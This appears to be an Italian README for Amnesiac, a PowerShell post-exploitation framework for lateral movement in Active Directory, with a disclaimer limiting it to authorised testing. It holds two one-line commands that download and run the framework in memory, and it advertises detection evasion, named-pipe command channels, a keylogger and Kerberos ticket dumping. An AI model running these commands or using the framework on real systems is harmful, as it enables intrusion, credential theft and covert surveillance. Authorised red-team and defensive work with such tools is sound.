leo4j/amnesiacFramework post-sfruttamento basato su PowerShell per il movimento laterale in ambienti Active Directory. Esegue in memoria con canali di comando named-pipe e strumenti modulari di post-sfruttamento.
Amnesiac è un framework di post-exploitation progettato per assistere nel movimento laterale all'interno di ambienti Active Directory.
Amnesiac è stato sviluppato per colmare una lacuna nei sistemi Windows, dove i framework di post-exploitation non sono facilmente disponibili a meno che non siano installati espressamente. Infatti, è interamente scritto in PowerShell e può essere caricato ed eseguito in memoria, come qualsiasi altro script PowerShell.
Se ritieni Amnesiac utile e ti piace questo progetto, considera di lasciarci una stella su GitHub. Il tuo supporto motiva lo sviluppatore a continuare a migliorare e mantenere questo progetto.
Si prega di leggere la documentazione per ottenere il massimo da Amnesiac: https://leo4j.gitbook.io/amnesiac/
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Amnesiac/main/Amnesiac.ps1');Amnesiac
Se hai bisogno di eseguire Amnesiac tramite una shell, usa Amnesiac_ShellReady.ps1 | Nessun colore, compatibile con la shell
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/Leo4j/Amnesiac/refs/heads/main/Amnesiac_ShellReady.ps1');Amnesiac
Amnesiac invia comandi e riceve output tramite Named Pipes, garantendo attività di post-exploitation discrete ed efficienti.
A differenza dei framework tradizionali, Amnesiac non richiede installazione. Opera interamente in memoria, riducendo il rischio di rilevamento e l'impronta forense.
Amnesiac è progettato pensando all'usabilità. Fornisce un'interfaccia intuitiva, rendendolo accessibile ed efficiente sia per i principianti che per gli utenti esperti.
Amnesiac è dotato di una serie di moduli di post-exploitation, che spaziano da keylogger a strumenti per il dumping dei ticket Kerberos. Questi moduli possono essere integrati perfettamente nei tuoi flussi di lavoro di test e valutazione.
Amnesiac si basa su alcuni altri progetti per i suoi moduli. In ogni modulo troverai informazioni sui link di riferimento, garantendo il corretto riconoscimento ai creatori originali.
Contributi e feedback dalla comunità sono fortemente incoraggiati e apprezzati.
Guarda su YouTube 👇
Amnesiac è distribuito sotto licenza GPL-3.0. Si prega di consultare la licenza per i dettagli sull'uso e la ridistribuzione.
Amnesiac è destinato esclusivamente a ricerca, istruzione e test autorizzati. Il suo scopo è assistere professionisti e ricercatori nell'identificazione delle vulnerabilità e nel miglioramento della sicurezza dei sistemi.
Gli utenti devono ottenere il consenso esplicito e reciproco di tutte le parti coinvolte prima di utilizzare questo strumento su qualsiasi sistema, rete o ambiente digitale, poiché attività non autorizzate possono comportare serie conseguenze legali. Gli utenti sono responsabili del rispetto di tutte le leggi e normative applicabili relative alla cybersecurity e all'accesso digitale.
Il creatore di Amnesiac declina ogni responsabilità per qualsiasi uso improprio o illecito dello strumento e non è responsabile per eventuali danni o perdite risultanti.
IL SOFTWARE È FORNITO “COSÌ COM’È”, SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, IVI INCLUSE, A TITOLO ESEMPLIFICATIVO, LE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UNO SCOPO PARTICOLARE E ASSENZA DI VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE CONTRATTUALE, EXTRACONTRATTUALE O ALTRO, DERIVANTE DA, O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI CON IL SOFTWARE.